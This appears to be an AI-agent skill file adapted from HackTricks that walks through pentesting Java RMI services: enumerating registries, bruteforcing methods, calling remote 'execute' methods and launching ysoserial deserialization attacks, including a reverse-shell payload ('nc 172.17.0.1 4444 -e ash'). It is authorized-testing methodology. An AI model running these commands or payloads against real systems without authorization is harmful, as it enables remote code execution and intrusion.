Hacktricks-skills java-rmi-pentesting

Pentest Java RMI (Remote Method Invocation) services on ports 1090, 1098, 1099, 1199, 4443-4446, 8999-9010, 9999. Use this skill whenever the user mentions Java RMI, RMI registry, remote method invocation, JMX RMI, or needs to enumerate/exploit Java RMI services. This skill covers enumeration with remote-method-guesser, method signature bruteforcing, deserialization attacks, and known vulnerability checks.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/network-services-pentesting/1099-pentesting-java-rmi/SKILL.MD
source content

Java RMI Pentesting

Java Remote Method Invocation (RMI) is an object-oriented RPC mechanism that allows objects in one Java VM to call methods on objects in another Java VM. From a security perspective, RMI services are common attack vectors due to insecure deserialization, exposed methods, and misconfigurations.

Quick Start

When you encounter a Java RMI service, follow this workflow:

  1. Enumerate the RMI registry and bound names
  2. Guess methods on exposed services
  3. Exploit identified vulnerabilities (deserialization, RCE methods, etc.)

Common Ports

# Default RMI ports to check
1090, 1098, 1099, 1199, 4443-4446, 8999-9010, 9999

Note: Remote objects often bind to random high ports. Check nmap output for

java-rmi
or
ssl/java-rmi
services.

Step 1: Enumerate RMI Services

Use

remote-method-guesser
(rmg) to enumerate the RMI registry:

# Basic enumeration
rmg enum {TARGET_IP} {PORT}

# Example
rmg enum 172.17.0.2 9010

This reveals:

  • Bound names - Human-readable names for RMI services
  • Class names - Implemented interfaces/classes
  • Endpoints - IP:port where objects listen
  • Vulnerabilities - CVE-2019-2684, JEP290 bypass, deserialization issues
  • Codebase URLs - Where classes are loaded from

Key Enumeration Outputs to Watch For

FindingMeaningAction
Vulnerable
on CVE-2019-2684
Localhost bypass possibleExploit with rmg
JEP290 bypass: Vulnerable
Deserialization filter bypassUse rmg serial
Deserialization allowed
Unsafe deserializationCraft gadget chains
useCodebaseOnly=false
Server parses codebasePotential RCE
Security Manager: Current Default
Protection enabledMay need bypass

Step 2: Analyze ObjID for Service Uptime

ObjID values can reveal when a service started:

rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'

This shows the timestamp when the RMI object was created, helping identify:

  • Service restarts
  • Deployment changes
  • Correlation with other vulnerabilities

Step 3: Bruteforce Remote Methods

Even without identified vulnerabilities, RMI services may expose dangerous methods. RMI doesn't support method enumeration, so bruteforce is necessary:

# Guess methods on all bound services
rmg guess {TARGET_IP} {PORT}

# Example output shows discovered methods:
# [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists!
# [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!

Method Guessing Strategy

  1. Run
    rmg guess
    to discover method signatures
  2. Look for dangerous method names:
    execute
    ,
    system
    ,
    eval
    ,
    run
    ,
    login
    ,
    upload
  3. Check parameter types for injection points (String, HashMap, Object)

Step 4: Exploit Identified Methods

Call Discovered Methods

# Execute a discovered method
rmg call {TARGET_IP} {PORT} '{ARGUMENT}' \
  --bound-name '{SERVICE_NAME}' \
  --signature '{METHOD_SIGNATURE}' \
  --plugin GenericPrint.jar

# Example
rmg call 172.17.0.2 9010 '"id"' \
  --bound-name plain-server \
  --signature "String execute(String dummy)" \
  --plugin GenericPrint.jar

Deserialization Attacks

When deserialization is possible, use ysoserial gadgets:

# Deserialization attack with CommonsCollections6
rmg serial {TARGET_IP} {PORT} CommonsCollections6 '{PAYLOAD}' \
  --bound-name '{SERVICE_NAME}' \
  --signature '{METHOD_SIGNATURE}'

# Example
rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' \
  --bound-name plain-server \
  --signature "String execute(String dummy)"

Common Gadgets

  • CommonsCollections6
    - Most reliable, works on many versions
  • CommonsCollections5
    - Alternative for older Java
  • Jdk7u2
    - For very old Java versions
  • AnTrinh
    - JEP290 bypass gadget

Step 5: Known Interface Exploitation

If rmg identifies a known class (e.g., JMX Server), use the

known
action:

# Get details on known RMI classes
rmg known javax.management.remote.rmi.RMIServerImpl_Stub

JMX Server Exploitation

JMX RMI services often expose:

  • MLet MBean - Dynamic MBean loading = RCE
  • Deserialization - Even after CVE-2016-3427, RMIConnection is unfiltered

Use beanshooter for JMX exploitation.

Step 6: Search for Source Code

Use bound names and class names to search:

# Search GitHub for the interface
site:github.com "de.qtc.rmg.server.interfaces.IPlainServer"

# Search for bound names
site:github.com "plain-server" "RMI"

Finding source code reveals:

  • All available methods
  • Authentication bypasses
  • Hardcoded credentials
  • Additional vulnerabilities

Tools Reference

ToolPurposeCommand
remote-method-guesserFull RMI pentesting suite`rmg enum
rmiscoutMethod bruteforcing
rmiscout.py
BaRMIeRMI enumeration
barmie.py
beanshooterJMX exploitation
beanshooter.py

Common Vulnerabilities

CVE-2019-2684 (Localhost Bypass)

RMI registry allows unbind operations that bypass localhost restrictions.

Check:

rmg enum
shows
Vulnerable
on localhost bypass enumeration

Exploit: Use rmg with appropriate payload

JEP290 Bypass

JEP290 added deserialization filters, but many implementations have bypasses.

Check:

rmg enum
shows
JEP290 bypass: Vulnerable

Exploit: Use

rmg serial
with AnTrinh or other bypass gadgets

Insecure Deserialization

Custom RMI services often lack deserialization filters.

Check:

rmg enum
shows
Deserialization allowed

Exploit: Use

rmg serial
with ysoserial gadgets

Workflow Summary

# 1. Enumerate
rmg enum {IP} {PORT}

# 2. Check ObjID for uptime
rmg objid '{OBJID}'

# 3. Guess methods
rmg guess {IP} {PORT}

# 4. Call dangerous methods
rmg call {IP} {PORT} '{ARG}' --bound-name '{NAME}' --signature '{SIG}'

# 5. Deserialization attacks
rmg serial {IP} {PORT} CommonsCollections6 '{PAYLOAD}' --bound-name '{NAME}' --signature '{SIG}'

# 6. Known interfaces
rmg known '{CLASS_NAME}'

Tips

  1. Always enumerate first - Don't skip the
    rmg enum
    step
  2. Check all ports - RMI objects bind to random ports
  3. Look for codebase URLs - These often reveal internal paths
  4. Search GitHub - Bound names and class names are often unique
  5. Try multiple gadgets - Different Java versions need different payloads
  6. Use GenericPrint.jar - For testing method calls without side effects

References